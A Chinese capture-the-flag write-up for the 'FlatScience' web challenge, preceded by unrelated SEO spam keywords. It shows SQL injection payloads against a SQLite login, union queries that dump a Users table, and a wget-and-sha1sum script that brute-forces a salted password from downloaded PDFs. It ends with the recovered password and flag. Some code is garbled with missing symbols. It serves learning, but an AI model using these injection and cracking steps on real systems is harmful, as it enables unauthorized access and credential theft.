全能网站服务器,wordpress添加社交媒体,营销网站建设公司,商城网站seo题目名称-FlatScience 网址 index 目录中没有发现提示信息#xff0c;链接会跳转到论文。 目前没有发现有用信息#xff0c;尝试目录扫描。
目录扫描 注意到存在 robots.txt 和 login.php。
访问 robots.txt 这里表明还存在 admin.php
admin.php 分析
在这里尝试一些 sql…题目名称-FlatScience 网址 index 目录中没有发现提示信息链接会跳转到论文。 目前没有发现有用信息尝试目录扫描。
目录扫描 注意到存在 robots.txt 和 login.php。
访问 robots.txt 这里表明还存在 admin.php
admin.php 分析
在这里尝试一些 sql 注入提交但是不能成功显然被过滤了。 网页代码中发现有不要尝试绕过的提示。 这里可以先暂时放一放看看其他页面。
login.php 分析
先尝试 sql 注入
admin or 11 #
返回了报错而且数据库是 sqlite. 尝试注入
admin or 11 -- 结果又跳回到了 index.html 目录。
查看网页代码发现有提示参数 debug 加上 debug 参数后网页显示出 php 源代码 ?php
ob_start();
?
!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01//ENhtml
head
style
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
/stylemeta http-equivContent-Type contenttext/html; charsetiso-8859-1
titleLogin/title
/head
bodydiv alignright classlastmod
Last Modified: Fri Mar 31:33:7 UTC 1337
/divh1Login/h1Login Page, do not try to hax here plox!brform methodpostID:brinput typetext nameusrbrPassword:br input typetext namepwbrbrinput typesubmit valueSubmit
/form?php
if(isset($_POST[usr]) isset($_POST[pw])){$user $_POST[usr];$pass $_POST[pw];$db new SQLite3(../fancy.db);$res $db-query(SELECT id,name from Users where name.$user. and password.sha1($pass.Salz!).);if($res){$row $res-fetchArray();}else{echo brSome Error occourred!;}if(isset($row[id])){setcookie(name, .$row[name], time() 60, /);header(Location: /);die();}}if(isset($_GET[debug]))
highlight_file(login.php);
?
分析代码可以发现
1sql 注入点就是在 urs 参数方式为 admin --
2密码与 Salz! 进行拼接并做了加盐处理。
3如果查询到了结果用户名会被设置到 cookie 中并重新返回到根目录。
这里就证明了我们开始的注入方法是正确的而且 cookie 中可以看到用户名查询结果下一步就可以利用 sql 注入结合返回的 cookie 值进行爆表了。
SQL 注入
admin union select name,sql from sqlite_master -- 这里发现 cookie 中没有回显出表信息可能是因为查询到存在的 admin 被回显出来了可以直接把 admin 去掉再尝试 union select name,sql from sqlite_master -- 将得到的结果用 url 解码 Users 表中的字段有 idnamepasswordhint 几个值。
通过下面的语句爆破出它们的值 union select id,id from Users limit 0,1--union select id,name from Users limit 0,1--union select id,password from Users limit 0,1--union select id,hint from Users limit 0,1--
可以得到第一列的结果如下
idnamepasswordhint1admin3fab54a50e770d830c0416df817567662a9dc85cmy fav word in my fav paper?!
把限制改为 limit 1,1 和 limit 2,1 可以得到下面两行的结果但是本题用第一行的信息就足够了。
密码爆破
根据源码我们已经清楚了密码生成方式即正确密码与字符 Salz! 拼接后用 sha1 处理后存储到数据库中。根据 hint 中的提示这句话可以在首页源码中找到 in my fav paper 指向链接中的论文提示中说明了密码很有可能就是论文中的某一个单词。
使用 wget 命令递归的把网址上 pdf 文件下载到本地然后再读取出文件中的每一个单词进行加密把加密结果与哈希值进行对比。
脚本如下
#!/bin/bash
wget http://61.147.171.105:50766/ -r -np -nd -A .pdf
salt3fab54a50e770d830c0416df817567662a9dc85c
foundfalse
for f in *.pdf; dowhile read -r word; docomb${word}Salz!hs$(echo -n $comb | sha1sum | awk {print $1})if [ $hs $salt ]; thenecho [] Find word: $wordfoundtruebreakfidone (pdftotext $f - | tr -c [:alnum:] [\n*])if [ $found true ]; thenbreakfi
done
if [ $found false ]; thenecho [-] Find nothing!
fi注意使用命令 pdftotext 需要安装 poppler-utils
sudo apt-get install poppler-utils
成功找到密码 flag
把用户 admin 和密码 ThinJerboa 在 admin.php 中提交登录得到 flag。 flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}